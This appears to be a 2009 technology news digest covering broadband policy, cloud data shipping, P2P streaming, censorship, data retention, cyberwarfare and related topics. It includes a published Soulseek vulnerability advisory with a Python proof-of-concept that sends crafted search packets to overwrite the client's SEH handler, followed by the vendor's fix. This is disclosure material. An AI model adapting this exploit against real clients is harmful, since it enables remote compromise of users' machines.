So what does Copps recommend? First, he suggests more coordination among and between federal, state, local, and tribal groups to ensure that programs work together as efficiently as possible. The report also recommends reviewing existing federal programs to identify barriers to rural broadband deployment. He also recommends that terminology used in describing programs be consistent with current laws.

But Copps also cautions policy makers against relying on a single technology as the answer to solving the rural broadband problem and emphasizes that "rural broadband likely will include a variety of different technologies that together can support the state-of-the-art, secure, and resilient broadband service that should be our goal for rural America, just as it is for the non-rural parts of the nation."

He also emphasizes the importance of knowing where broadband is already available and who is using it. He recommends that federal, state, local and tribal organizations coordinate efforts to collect data and map where broadband is available and where it's not. He added that more consumer education and training initiatives are needed to encourage rural residents to drive demand for broadband services. And finally, he emphasizes the need to work through existing issues that affect the deployment of broadband in rural communities.

Specifically, he says in the report that the agency needs to deal with proceedings dealing with the universal service fund, network openness, spectrum access, special access reform, intercarrier compensation, access to poles and rights of way, and video programming proceedings.

"Because the national broadband plan is not due until February 2010, it is prudent for the Commission to identify any pending and proposed Commission proceedings affecting rural broadband," he said.

Copps adds that all of these issues should be considered as it develops the national broadband plan, "balancing the desire to resolve these matters with the need to address rural broadband in the context of a much broader and forward-looking national broadband plan."
http://news.cnet.com/8301-13578_3-10250404-38.html





Sending Large Datasets to Amazon? Use the Post Office

Amazon has introduced a new method to move large amounts of data to and from its Amazon S3 cloud storage. The method is decidedly low-tech—it involves shipping the data through the mail on an external device.
Chris Foresman

Amazon has unveiled a new service called AWS Import/Export that is designed to "accelerate moving large amounts of data" to and from Amazon's S3 cloud-based storage solution. Only it doesn't rely on improved network infrastructure—instead, it relies on the good old fashioned US Postal Service.

Now, the mail isn't exactly known for operating at Internet speeds. But the problem that arises in transmitting large amounts of data—even as networks become increasingly fast—is that our collective ability to gather data is outpacing the ability to send and receive it over a wire.

"No matter how much we have improved our network throughput in the past 10 years, our datasets have grown faster, and this is likely to be a pattern that will only accelerate in the coming years," according to Amazon CTO Werner Vogels. "While the network may improve another order of magnitude in throughput, it is certain that datasets will grow two or more orders of magnitude in the same period of time," he wrote in his blog last week.

So instead of spending days, weeks, or even months trying to funnel a huge dataset through what might be relatively limited bandwidth, the AWS Import/Export service will allow you to dump your data to an external eSATA or USB 2.0 hard drive and ship it to Amazon for upload to the cloud. Obviously, if you need to get a huge dataset out of the cloud, the process works in reverse—Amazon will dump your data to a drive and ship it back to you.

Amazon says that any dataset that would take a week or more to transmit over the network should definitely be considered for AWS Import/Export. The company even provides a helpful table showing the theoretical transfer times for 1TB of data, which gives users a guide of how large a dataset would have to be before shipping it through the mail makes sense.

Available Internet Connection Theoretical Min. Number of Days to Transfer 1TB at 80% Network Utilization When to Consider AWS Import/Export?

T1 (1.544Mbps) 82 days 100GB or more
10Mbps 13 days 600GB or more
T3 (44.736Mbps) 3 days 2TB or more
100Mbps 1 to 2 days 5TB or more
1000Mbps Less than 1 day 60TB or more

Unless you are a large company or university with dedicated high-bandwidth access that can be completely tuned over to data transfer, though, sending a hard drive in the mail makes a lot of sense. At 10Mbps, for instance, it would take 13 days of sustained, maximum bandwidth to move 1TB of data. Many smaller businesses don't have that kind of bandwidth to tie up for such a long period. And if they are on some kind of metered plan, moving that much data would be cost prohibitive.

Despite promises of terabit ethernet and fiber-to-the-premises, we know that even large theoretical bandwidth claims are rarely realized. Even today, we are just reaching the capacity to make the promise of a basic consumer service like Netflix a reality—for the first 11 years, Netflix relied on the postal service to transmit up to 9GB of data to its users for under a dollar. Amazon's AWS Import/Export service provides a reasonablly fast and cost-effective means of transferring ever-expanding collections of data—even if it relies on moving that data via truck, plane, or foot instead of over our near-ubiquitous network connections.
http://arstechnica.com/telecom/news/...ansmission.ars





Multimedia Streaming Using P2P Technologies
Diego Villa

Introduction

Multimedia streaming is an alternate option in viewing TV programs and other video content through traditional services such as terrestrial, cable and satellite broadcast. The first architecture developed was based on a client-server architecture, in which a viewer decodes a program stream from a video server. However, the increase in the number of viewers, along with the growing number of other online applications, has made this architecture ineffective because of bandwidth limitation issues. One clever solution introduced to solve this problem is peer to peer (P2P) technology, wherein peers automatically relay streams to other peers. The P2P network they are connected to performs an algorithm that let peers find a relay for a specified stream to connect to. In implementing a multimedia streaming network, the important parameters to consider are playing time and network bandwidth utilization.

Different Multimedia Streaming Topologies

The figure below shows the different topologies used in multimedia streaming networks starting from the centralized client-server topology to decentralized schemes, which includes IP multicast and P2P solutions. A client-server network consists of a central server and clients who each have a separate connection to the server. There is no mechanism to guarantee content delivery and becomes impractical as number of connected clients increases. IP multicast is an enhancement to the client-server topology wherein the same multimedia stream is sent to a group of clients to reduce network loading. This is ideal for private LAN networks but may not be practical in multiple LANs or public networks because of firewall and security issues. In P2P systems, the network may consist of several video servers and the content is sent not only from the server to the clients but also between clients (peers). P2P can be further sub-divided into mesh-based, tree-based and hybrid overlays.

Mesh-based:

Each peer can accept media data from multiple parents as well as provide services to multiple children (both parent and child are relative terms in place of master-slave relationship). The advantages of this solution are: high resource utilization and fast discovery of fresh peers in a single mesh due to gossiping. The disadvantages are: quality of service cannot be guaranteed due to gossiping among peers and large buffer space needed to reduce impact of autonomy of peers (in a dynamic environment). Example applications are Coolstreaming, Promise and GNUStream.

Tree-based:

Each peer communicates only with one parent (per overlay) and provides service to a number of children such that a “tree” topology is always maintained (in an overlay). The advantages of this solution are: closely resembles original IP multicast ideas and low management overhead. The disadvantages are: highly vulnerable to disruption under dynamic environments and low resource utilization. Example applications are ALMI, NICE and ZigZag (single tree protocol) and SplitStream, Bullet and MDC (multiple tree protocol).

Available P2P Solutions

There are several P2P techniques developed to solve bandwidth limitation problems usually experienced with client-server and IP-multicast streaming networks. The basic peercasting technique works by having peers automatically relay streams to other peers. However, degradation in quality of service is experienced when peers disconnect requiring other peers to switch to different relays. An enhanced solution is minute swarming, wherein a live stream is broken up into minute length files that are then made available via P2P application such as BitTorrent. The disadvantage is excessive overhead in both processing and bandwidth because of the need for the formation of a new swarm every minute. Another solution is to stripe a live stream into multiple substreams. Forward error correction and timing techniques are then employed in the receiver to reconstruct the original stream.

Other solutions developed were based on network overlay architectures. These techniques concentrate on the following issues: start-up delay, source-to-end delay and playback continuity. These metrics are very important to the user because large start-up delays would exhaust user patience and streaming interruptions would spoil viewing experience. The figure below shows an example of intra-overlay optimization with two logical streaming overlays. Peers A, B, C and D join the stream originating from S1 and peers E, F, G, H and K join the stream originating from S2. The number on each edge of the links represents the cost of the link between two nodes. Take note that these are relative values and were used only to compare link costs. Looking at peer D, the cost of S1 to D link is 8, while that for path S1 to S2 to D (intra-overlay optimized) is only 4. Cost efficiency can be achieved but resource utilization of traditional approaches such as this is relatively low.

Another technique is inter-overlay optimization based scheme, in which resources can join multiple overlays simultaneously. The objectives are to (1) improve global resource utilization of a live streaming network and then distribute traffic to all physical links evenly; (2) assign resources based on the peers’ locality and delay; (3) guarantee link quality by using the nearest peers, even if they belong to different overlays; and (4) balance the load among members within the group. The following figure shows the inter-overlay optimization scheme.

Conclusion

We examined in this article several P2P multimedia streaming solutions and discussed important metrics, such as start-up delay, source-to-end delay, and playback continuity that are vital for satisfactory viewing experience. The basic peercasting solution solved network bottleneck problems but became insufficient because of problems brought about by random connection and disconnection of clients from the P2P network. New techniques were developed to solve these problems such as minute swarming, stripping to multiple streams, intra-overlay and inter-overlay optimization. There is no perfect and final solution because number of viewers will continue to grow and more demanding viewing application requirements will come up. So expect more techniques to be developed in the future, along with developments in processing technologies and network optimization.
http://dev.emcelettronica.com/multim...p-technologies





Google Bans Music Uploads From Blogs
Kim Tong-hyung

Google has banned subscribers to its Korean blogging platform, Textcube (www.textcube.org), from uploading songs onto their blogs, citing the country's new anti-file sharing provisions aimed at thwarting online piracy. This is the first time that the U.S. giant has disabled its bloggers from posting music files on their personal Web pages.

As of Monday, Textcube users were blocked from uploading MP3, WMA, WAV and other types of music files on their blogs, while existing songs were blinded and are now accessible only to the logged-in owners of the blogs.

Music on Textcube blogs is now limited to the short samples sold by Soribada (www.soribada.com), a music downloading site, company officials said.

``We will limit the uploading of music files to protect the copyright of songs and protect our users from possible damages from violating the law,'' Google Korea (www.google.co.kr) said in a statement.

``We believe that these are appropriate measures to protect digital copyright.''

Predictably, the move is touching off fierce criticism from Internet users who are accusing Google of clipping their freedom to use copyrighted content.

Other blogging services, such as Daum's Tistory (www.tistory.com), provide search functions that enable bloggers to identify copyrighted content before uploading them.

``Google decided to burn the house down just to catch a mosquito,'' said a blogger called ``sid S. Jeong.''

``Bloggers should be provided with the freedom to use their own music files and also a system that makes it easier for them to purchase the transmission rights for songs from copyright holders.''

Google Korea officials claim that the changes were inevitable, as the company has yet to develop a tool to differentiate between legal and illegal content.

``We are working on it,'' a company official said.

The government has been strengthening its clampdown on illegal copies on the Web. From July, the country will enforce a new anti-file sharing provision that allows regulators to shut down Web sites after a third warning over copyright infringement, regardless of whether or not the copyright holders complained about it.

Internet users accused of illegally sharing copyrighted content will also be subject to the ``three-strikes'' rule, having their Web accounts severed. Critics argue that the new law could be abused as a censorship tool, due to its loose definition of ``copyrighted content,'' which could be anything from music and movies to news stories and blog postings.

Textcube is a product created by Tatter and Company (TNC), which was bought by Google last year, marking the Internet giant's first major acquisition in Korea. Textcube remains the only Google service that is operated by a Korea-based server owned by the company, thus making it subject to government rules. Google out-sources its servers to provide its digital map services here.

Industry watchers see Google's strong measures on Textcube as a gesture to improve its souring relationship with the Korean government.

Last month, Google blocked users from posting videos and comments on the Korean site of YouTube (kr.youtube.com), its online video service.

This was to avoid the new regulations that mandate Internet users to make verifiable real-name registrations on all Web sites with more than 100,000 daily visitors, which means they have to submit their resident registration codes, the Korean equivalent of social security numbers.

Complying with the real-name rules would have been an enormous risk for Google, as the government could later demand user information from the company, not a precedent it wants to show to other countries.

However, this clearly miffed government officials, with the Korea Communications Commission (KCC), the country's broadcasting and telecommunications regulator, threatening to look for legal grounds to ``sanction'' Google.
http://www.koreatimes.co.kr/www/news...133_45720.html





Fake Web Traffic Can Hide Secret Chat

THE internet's underlying technology can be harnessed to let people exchange secret messages, perhaps allowing free speech an outlet in oppressive regimes.

So says a team of steganographers at the Institute of Telecommunications in Warsaw, Poland. Steganography is the art of hiding a message in an openly available medium. For example, you can subtly change the pixels in an image in a way that is undetectable to the eye but carries meaning to anyone who knows the pre-arranged coding scheme.

Wojciech Mazurczyk, along with Krzysztof Szczypiorski and Milosz Smolarczyk, have already worked out how to sneak messages into internet phone calls, and now the Warsaw team have turned their attention to the internet's transmission control protocol (TCP).

Web, file transfer, email and peer-to-peer networks all use TCP, which ensures that data packets are received securely by making the sender wait until the receiver returns a "got it" message. If no such acknowledgement arrives (on average 1 in 1000 packets gets lost or corrupted), the sender's computer sends the packet again. This scheme is known as TCP's retransmission mechanism - and it can be bent to the steganographer's whim, says Mazurczyk.

Their system, dubbed retransmission steganography (RSTEG), relies on sender and receiver using software that deliberately asks for retransmission even when email data packets are received successfully. "The receiver intentionally signals that a loss has occurred. The sender then retransmits the packet but with some secret data inserted in it," he says in a preliminary research paper (www.arxiv.org/abs/0905.0363). So the message is hidden among the teeming network traffic.

Could a careful eavesdropper spot that RSTEG is being used because the first sent packet is different from the one containing the secret message? As long as the system is not over-used, apparently not, because if a packet is corrupted the original packet and the retransmitted one will differ from each other anyway, masking the use of RSTEG.

One application of the RSTEG technique might be to help people in totalitarian regimes avoid censorship. The Warsaw team plans to demonstrate it at a workshop on network steganography in Wuhan, China, this November. "We are aware that organising this event in China may be not only a scientific challenge but also a political one," says Mazurczyk.
http://www.newscientist.com/article/...cret-chat.html





EU Sues Sweden, Demands Law Requiring ISPs to Retain Data

The EU passed the Data Retention Directive years ago, a law that demands ISPs and search engines hold onto data long enough to help the cops (but not long enough to cause privacy problems). But Sweden never passed it into national law, and the European Commission has now sued the country to make sure a bill appears.
Nate Anderson

EU sues Sweden, demands law requiring ISPs to retain data

The European Commission has moved to sue Sweden after the Nordic state failed to implement the EU's Data Retention Directive in a timely fashion.

The Directive was passed back in 2006 and requires all EU member states to implement some form of data retention legislation, with terms of six month to two years. National laws were to be in place by March of this year, but Sweden still has yet to introduce a bill of its own.

Internet providers and search engines would all need to retain user data and IP addresses so that law enforcement would have a window of time in which to access that information during investigations.

According to Swedish newspaper Svenska Dagbladet, the Swedish government does plan to introduce legislation in the next month or two, asking for a six-month retention period. Why hasn't it happened yet? Because the Swedish Justice Ministry has been busy. Also, it's not Justice Minister Beatrice Ask's "favorite project."

The legislation, whenever it appears, will put more pressure on various ISPs that offer anonymity to their users. Beginning April 1, 2009, ISPs in Sweden had to implement the Intellectual Property Rights Enforcement Directive (IPRED), which meant that they could be forced to turn over user account information in some legal cases.

ISPs like Sweden's Bahnhof responded to IPRED by simply deleting all their data on a regular basis—a perfectly legal move. But when the Data Retention Directive goes into effect, that option will be taken off the table.

Beatrice Ask also says that the process of introducing a bill has been slowed by all the consultation the government has been doing. Which makes sense, since data retention is a sticky wicket for Europeans, who have generally focused on getting ISPs and search engines to store less user data (and for less time).

When all the European countries meet their national Data Retention Directive obligations, the continent will have made it illegal to delete data too quickly, and illegal to store it for too long.
http://arstechnica.com/tech-policy/n...etain-data.ars





U.S. Manga Obscenity Conviction Roils Comics World
David Kravets

In an obscenity first, a U.S. comic book collector has pleaded guilty to importing and possessing Japanese manga books depicting illustrations of child sex abuse and bestiality.

Christopher Handley, described by his lawyer as a “prolific collector” of manga, pleaded guilty last week to mailing obscene matter, and to “possession of obscene visual representations of the sexual abuse of children.” Three other counts were dropped in a plea deal with prosecutors.

The 39-year-old office worker was charged under the 2003 Protect Act, which outlaws cartoons, drawings, sculptures or paintings depicting minors engaging in sexually explicit conduct, and which lack “serious literary, artistic, political, or scientific value.” Handley’s guilty plea makes him the first to be convicted under that law for possessing cartoon art, without any evidence that he also collected or viewed genuine child pornography. He faces a maximum sentence of 15 years in prison.

Comics fans are alarmed by the case, saying that jailing someone over manga does nothing to protect children from sexual abuse.

“This art that this man possessed as part of a larger collection of manga … is now the basis for [a sentence] designed to protect children from abuse,” says Charles Brownstein, executive director of the Comic Book Legal Defense Fund. “The drawings are not obscene and are not tantamount to pornography. They are lines on paper.”

Congress passed the Protect Act after the Supreme Court struck down a broader law prohibiting any visual depictions of minors engaged in sexual activity, including computer-generated imagery and other fakes. The high court ruled that the ban was overbroad, and could cover legitimate speech, including Hollywood productions.

In response, the Protect Act narrows the prohibition to cover only depictions that the defendant’s community would consider “obscene.”

“It’s probably the only law I’m aware of, if a client shows me a book or magazine or movie, and asks me if this image is illegal, I can’t tell them,” says Eric Chase, Handley’s attorney.

Chase says he recommended the plea agreement to his client because he didn’t think he could convince a jury to acquit him once they’d seen the images in question. The lawyer declined to describe the details. “If they can imagine it, they drew it,” he says. “Use your imagination. It was there.”

The case began in 2006, when customs officials intercepted and opened a package from Japan addressed to Handley. Seven books of manga inside contained cartoon drawings of minors engaged in sexually explicit acts. One book included depictions of bestiality, according to stipulations in Handley’s plea deal.

Frenchy Lunning, a manga expert at the Minneapolis College of Art and Design, was a consultant in the case. She says the books were from the widely available Lolicon variety — a Japanese word play on “Lolita.”

“This stuff is huge in Japan, in all of Asia,” Lunning says. Handley, she adds, “is not a pedophile. He had no photographs of child pornography.”

Handley remains free pending a yet-to-be scheduled sentencing date. Mike Bladel, a spokesman for the U.S. Attorney’s Office for the Southern District of Iowa, declined to state what kind of sentence the government would seek, but claimed there were hundreds of obscene panels in the seized manga.

Chase says he’s hoping the judge will take into account the circumstances.

“He was a prolific collector,” says the lawyer. “He did not focus on this type of manga. He collected everything that was out there that he could get his hands on. I think this makes a huge difference.”
http://www.wired.com/threatlevel/200...porn/?format-c





Gulags, Nukes and a Water Slide: Citizen Spies Lift North Korea's Veil

With sleuthing and satellite images, Mr. Melvin fills the blanks on a secretive nation's map
Evan Ramstad

In the propaganda blitz that followed North Korea's missile launch last month, the country's state media released photos of leader Kim Jong Il visiting a hydroelectric dam and power station.

Images from the report showed two large pipes descending a hillside. That was enough to allow Curtis Melvin, a doctoral candidate at George Mason University in suburban Virginia, to pinpoint the installation on his online map of North Korea.

Mr. Melvin is at the center of a dozen or so citizen snoops who have spent the past two years filling in the blanks on the map of one of the world's most secretive countries. Seeking clues in photos, news reports and eyewitness accounts, they affix labels to North Korean structures and landscapes captured by Google Earth, an online service that stitches satellite pictures into a virtual globe. The result is an annotated North Korea of rocket-launch sites, prison camps and elite palaces on white-sand beaches.

"It's democratized intelligence," says Mr. Melvin.

More than 35,000 people have downloaded Mr. Melvin's file, North Korea Uncovered. It has grown to include thousands of tags in categories such as "nuclear issues" (alleged reactors, missile storage), dams (more than 1,200 countrywide) and restaurants (47). Its Wikipedia approach to spying shows how Soviet-style secrecy is facing a new challenge from the Internet's power to unite a disparate community of busybodies.

"Here is one of the most closed countries in the world and yet, through this effort on the Internet by a bunch of strangers, the country's visible secrets are being published," says Martyn Williams, a Tokyo-based technology journalist who recently sent Mr. Melvin the locations of about 30 North Korean lighthouses.

An economist who studies developing countries and has traveled from Turkmenistan to Zimbabwe, Mr. Melvin started his project in early 2007 to designate places he visited on two group tours to North Korea earlier this decade. He shared it on several North Korea-related Web sites.

People soon started sending him locations they knew, from tourist sites to airfields tucked into valleys near South Korea. Mr. Melvin says that sadness for North Koreans' plight, and the fascination of discovery, motivated him to continue.

Many updates later, Mr. Melvin and his correspondents have plotted out what they say is much of the country's transportation network and electrical grid, and many of its military bases. They've spotted what they believe are mass graves created in the 1995-98 famine that killed an estimated two million people. The vast complexes of Mr. Kim and other North Korean leaders are visible, with palatial homes, pools, even a water slide.

An official at North Korea's consulate in Hong Kong declined to grant an interview. Its embassy in London didn't respond to a faxed request for comment.

Mr. Melvin says he cross-checks what information he can and adjusts other facts with the help of collaborators. He says he has met only a few of the contributors. Some have identified themselves as former members of the U.S. military who once studied the country professionally. Some have been anonymous.

Joshua Stanton, an attorney in Washington who once served in the U.S. military in South Korea, used Google Earth to look for one of the country's notorious prisons. In early 2007, he read an international news report about a mass escape from Camp 16, which the report mentioned was near the site of a nuclear test conducted the year before.

No pictures of Camp 16 are believed to have been seen outside the country. But Mr. Stanton had pored over defector sketches of it and combed the map for familiar structures. "I realized I had already noticed the guard posts" on Google Earth the previous year for the nuclear test site, he says.

Mr. Stanton traced what he believed is Camp 16's boundary, enclosing nearly 300 square miles, and those of other large North Korean prisons and shared them with Mr. Melvin. The fences aren't easy to follow because they go over mountain ridges, he says. But satellite images often reveal gaps in the vegetation along the fence line, because trees are cleared on either side to prevent people from climbing over.

Last year, Sen. Sam Brownback of Kansas used Mr. Stanton's maps in a floor presentation criticizing the North's human-rights record. "Google has made a witness of all of us," Mr. Brownback said. "We can no longer deny these things exist."

Mr. Williams, the technology journalist in Tokyo, first contacted Mr. Melvin two months ago after he ran across a notice that North Korea filed with international maritime authorities ahead of its April 5 missile launch. The filing gave coordinates where North Korea believed its missile or rocket stages would likely fall.

The pair figured they could mine other international filings for other interesting sites. Mr. Melvin found one that helped him pinpoint North Korea's aeronautical beacons. Mr. Williams turned up the lighthouse locations, which he sent to Mr. Melvin, along with links to a site with lighthouse images from North Korean postage stamps.

"If North Korea came out and published all this, no one would be interested," says Mr. Williams. "But when you're playing detective, it's a lot more fun."

The project has also attracted Andrei Lankov, a Seoul-based historian of North Korea who grew up in the Soviet Union and went to college in Pyongyang, the North Korean capital. Last summer, Mr. Lankov wrote about how the evolution of public markets in North Korea has challenged Mr. Kim's authoritarian government. He sent Mr. Melvin the location of several markets, including one called Pyongsong near Pyongyang that the two men think is the biggest in the country.

The market is in a town about 10 miles outside the city, the closest that nonresidents can get to the capital. "At the same time, this is a place where the dwellers of Pyongyang can go anytime," Mr. Lankov says.

On the satellite images of North Korean towns, it's easy to see many people gathered around the markets and no one in the giant plazas that are tributes to Mr. Kim's government.

Mr. Melvin says the images also make clear the gulf between the lives of Mr. Kim and his impoverished people. "Once you start mapping the power plants and substations and wires, you can connect the infrastructure with the elite compounds," Mr. Melvin says. "And then you see towns that have no power supply at all."

Mr. Melvin says he spends hours at the computer tracing power lines, looking for telltale shadows of electric towers or posts. The work is often tedious.

Other times it's revelatory. The recent report of Mr. Kim at the hydroelectric station in Wonsan, for example, showed Mr. Kim looking at a painting of the complex. Mr. Melvin studied the painting, noticing it depicted a unique pattern of roads. He then spotted the roads on the satellite image, along with the giant pipes, and added the station to his map.

"We're relying on the North Koreans to keep publicizing" Mr. Kim's movements, Mr. Melvin says. "This leads to great discoveries."
http://online.wsj.com/article/SB124295017403345489.html





Pentagon Plans New Arm to Wage Wars in Cyberspace
David E. Sanger and Thom Shanker

The Pentagon plans to create a new military command for cyberspace, administration officials said Thursday, stepping up preparations by the armed forces to conduct both offensive and defensive computer warfare.

The military command would complement a civilian effort to be announced by President Obama on Friday that would overhaul the way the United States safeguards its computer networks.

Mr. Obama, officials said, will announce the creation of a White House office — reporting to both the National Security Council and the National Economic Council — that will coordinate a multibillion-dollar effort to restrict access to government computers and protect systems that run the stock exchanges, clear global banking transactions and manage the air traffic control system.

White House officials say Mr. Obama has not yet been formally presented with the Pentagon plan. They said he would not discuss it Friday when he announced the creation of a White House office responsible for coordinating private-sector and government defenses against the thousands of cyberattacks mounted against the United States — largely by hackers but sometimes by foreign governments — every day.

But he is expected to sign a classified order in coming weeks that will create the military cybercommand, officials said. It is a recognition that the United States already has a growing number of computer weapons in its arsenal and must prepare strategies for their use — as a deterrent or alongside conventional weapons — in a wide variety of possible future conflicts.

The White House office will be run by a “cyberczar,” but because the position will not have direct access to the president, some experts said it was not high-level enough to end a series of bureaucratic wars that have broken out as billions of dollars have suddenly been allocated to protect against the computer threats.

The main dispute has been over whether the Pentagon or the National Security Agency should take the lead in preparing for and fighting cyberbattles. Under one proposal still being debated, parts of the N.S.A. would be integrated into the military command so they could operate jointly.

Officials said that in addition to the unclassified strategy paper to be released by Mr. Obama on Friday, a classified set of presidential directives is expected to lay out the military’s new responsibilities and how it coordinates its mission with that of the N.S.A., where most of the expertise on digital warfare resides today.

The decision to create a cybercommand is a major step beyond the actions taken by the Bush administration, which authorized several computer-based attacks but never resolved the question of how the government would prepare for a new era of warfare fought over digital networks.

It is still unclear whether the military’s new command or the N.S.A. — or both — will actually conduct this new kind of offensive cyberoperations.

The White House has never said whether Mr. Obama embraces the idea that the United States should use cyberweapons, and the public announcement on Friday is expected to focus solely on defensive steps and the government’s acknowledgment that it needs to be better organized to face the threat from foes attacking military, government and commercial online systems.

Defense Secretary Robert M. Gates has pushed for the Pentagon to become better organized to address the security threat.

Initially at least, the new command would focus on organizing the various components and capabilities now scattered across the four armed services.

Officials declined to describe potential offensive operations, but said they now viewed cyberspace as comparable to more traditional battlefields.

“We are not comfortable discussing the question of offensive cyberoperations, but we consider cyberspace a war-fighting domain,“ said Bryan Whitman, a Pentagon spokesman. “We need to be able to operate within that domain just like on any battlefield, which includes protecting our freedom of movement and preserving our capability to perform in that environment.”

Although Pentagon civilian officials and military officers said the new command was expected to initially be a subordinate headquarters under the military’s Strategic Command, which controls nuclear operations as well as cyberdefenses, it could eventually become an independent command.

“No decision has been made,” said Lt. Col. Eric Butterbaugh, a Pentagon spokesman. “Just as the White House has completed its 60-day review of cyberspace policy, likewise, we are looking at how the department can best organize itself to fill our role in implementing the administration’s cyberpolicy.”

The creation of the cyberczar’s office inside the White House appears to be part of a significant expansion of the role of the national security apparatus there. A separate group overseeing domestic security, created by President George W. Bush after the Sept. 11 attacks, now resides within the National Security Council. A senior White House official responsible for countering the proliferation of nuclear and unconventional weapons has been given broader authority. Now, cybersecurity will also rank as one of the key threats that Mr. Obama is seeking to coordinate from the White House.

The strategy review Mr. Obama will discuss on Friday was completed weeks ago, but delayed because of continuing arguments over the authority of the White House office, and the budgets for the entire effort.

It was kept separate from the military debate over whether the Pentagon or the N.S.A. is best equipped to engage in offensive operations. Part of that debate hinges on the question of how much control should be given to American spy agencies, since they are prohibited from acting on American soil.

“It’s the domestic spying problem writ large,” one senior intelligence official said recently. “These attacks start in other countries, but they know no borders. So how do you fight them if you can’t act both inside and outside the United States?”

John Markoff contributed reporting from San Francisco.
http://www.nytimes.com/2009/05/29/us...s/29cyber.html









=============================================
- Release date: May 24th, 2009
- Discovered by: Laurent Gaffié
- Severity: critical
=============================================

I. VULNERABILITY
-------------------------
Soulseek 157 NS * & 156.* Remote Distributed Search Code Execution

II. BACKGROUND
-------------------------
"Soulseek(tm) is a unique ad-free, spyware free, and just plain free file
sharing application.
One of the things that makes Soulseek(tm) unique is our community and
community-related features.
Based on peer-to-peer technology, virtual rooms allow you to meet people with
the same interests, share information, and chat freely using real-time messages
in public or private.
Soulseek(tm), with its built-in people matching system, is a great way to make
new friends and expand your mind!"

III. DESCRIPTION
-------------------------
Soulseek client allows distributed file search to one person, everyone, or in a
specific Soulseek IRC channel, allowing a user to find the files he wants, in
a dedicated channel, or with his contacts, or on the whole network.
Unfortunatly this feature is vulnerable to a remote SEH overwrite to a specific
user, or even to a whole Soulseek IRC channel.

IV. PROOF OF CONCEPT
-------------------------
This proof of concept is made to prevent a S-K party, it is only build to
target the user "testt4321".

To try this proof of concept, you would have to open a soulseek client and use
the username:
"testt4321"
with the password:
"12345678"
And launch this code.
If you want to change the username or target a whole channel, you would have
to reverse the protocol :)



#!/usr/bin/python
import struct
import sys, socket
from time import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242)) # Change to Port 2240 for 156* branch

buffer = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x74\x65\x7 3\x74"
buffer+= "\x34\x33\x32\x31\x08\x00\x00\x00\x31\x32\x33\x34\x35\x36\x3 7\x38"
buffer+= "\xb5\x00\x00\x00\x20\x00\x00\x00\x38\x65\x39\x31\x66\x37\x3 3\x30"
buffer+= "\x35\x35\x37\x31\x32\x35\x64\x37\x34\x39\x32\x34\x62\x64\x6 6\x35"
buffer+= "\x63\x32\x39\x61\x36\x37\x64\x61\x01\x00\x00\x00"

s.send(buffer)
sleep(1)

junk = "\x41" * 3084
next_seh = struct.pack('<L', 0x42424242)
seh = struct.pack('<L', 0x43434343)
other_junk = "\x61" * 1423

buffer2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00\x74\x65\x7 3\x74"
buffer2+= "\x74\x34\x33\x32\x31\xa4\x5a\x51\x44\xe8\x0e\x00\x00"+junk+ next_seh+seh+other_junk
s.send(buffer2)
sleep(1)
s.recv(1024)



After the query is send, the memory will look like this
0012FBE4 41414141
0012FBE8 42424242 Pointer to next SEH record
0012FBEC 43434343 SE handler
0012FBF0 61616161

And the program will terminate with this structure:
EAX 00000000
ECX 43434343
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012EA78
EBP 0012EA98
ESI 00000000
EDI 00000000
EIP 43434343


V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise any Soulseek client connected to
the Soulseek network.

VI. SYSTEMS AFFECTED
-------------------------
Windows all versions

VII. SOLUTION
-------------------------
A fast solution would be to use Nicotine-Plus (http://nicotine-plus.sourceforge.net/)
a Python Soulseek client.
Another quick workaround at server level would be to limit the search query lenght.

VIII. REFERENCES
-------------------------
http://www.slsknet.org

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com


X. REVISION HISTORY
-------------------------
May 24, 2009: Initial release


XI. DISCLOSURE TIMELINE
-------------------------
july 29, 2008: Bug discovered
September 03, 2008: Vendor contacted; no response.
October 14, 2008: Vendor contacted; still no response.
April 12, 2009: Idefense contacted.
April 13, 2009: Idefense answered.
April 23, 2009: Advisory send to idefense contributor program.
May 13, 2009: Idefense contacted, bug rejected (no reason given)
May 15, 2009: Idefense recontacted; no answer.
May 16, 2009: Last try to contact Soulseek maintainers
May 24, 2009: Advisory published.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

# milw0rm.com [2009-05-26]

http://g-laurent.blogspot.com/2009/0...ed-search.html





SoulSeek's Response

There's a number of us monitoring this sort of thing and we all seem to have heard about it in the last two days. I'm not doubting mr. Laurent Gaffie had tried contacting us in the last year, but none of us had intercepted any communication of the sort. Anyway, not restricting search packet length is definitely an oversight on my part. There's a limit on general packet length but I can see how that wouldn't be sufficient. I've placed a 256 character limit on all manners of search (distributed, room, userlist) on both the old and new servers. This needs only be done server-side and doesn't require a client update. I hope this should effectively plug the security hole, but will keep looking for any further signs of vulnerability.

Thanks, Nir

http://forums.slsknet.org/ipb/index....dpost&p=270519





FBI E-mail Clobbered After Virus

The FBI has been forced to restrict usage of an external unclassified network after it was reportedly hit by a virus.
Robert McMillan

A virus has reportedly disrupted Web-based e-mail services at the U.S. Federal Bureau of Investigation.

The FBI confirmed Friday that it had been forced to shut down its Internet-facing unclassified network, but disputed a report that the incident had left the agency unable to e-mail counterparts in other intelligence and law enforcement agencies. "The external, unclassified network was shut down by the FBI as a precautionary measure," the FBI said in a statement. "Within 48 hours of identifying the issue and mitigating risks, e-mail traffic was largely restored to the external, unclassified network."

FBI agents can send e-mail on the agency's more secure internal network or via BlackBerry, but many use this unclassified network to send messages via a Web-based e-mail system, said a source familiar with the situation. That webmail service was down throughout the week and continued to be unavailable for some users, the source said.

"We can e-mail to anyone ... and [we] have Internet access. We also have a secure e-mail system that connects all 400+ offices around the country and 60 offices overseas," FBI spokesman Paul Bresson said in an e-mail message.

The FBI did not provide details on the security incident, but it looks as though hackers may have used maliciously encoded file attachments to hack into the network. In its statement, the FBI said it was now blocking users from sending or receiving attachments on the unclassified network "to give our technicians time to scan all the attachments that came into the e-mail system to make sure we have identified and mitigated all threats to the network."

Malicious attachments are a constant security threat for computer users.

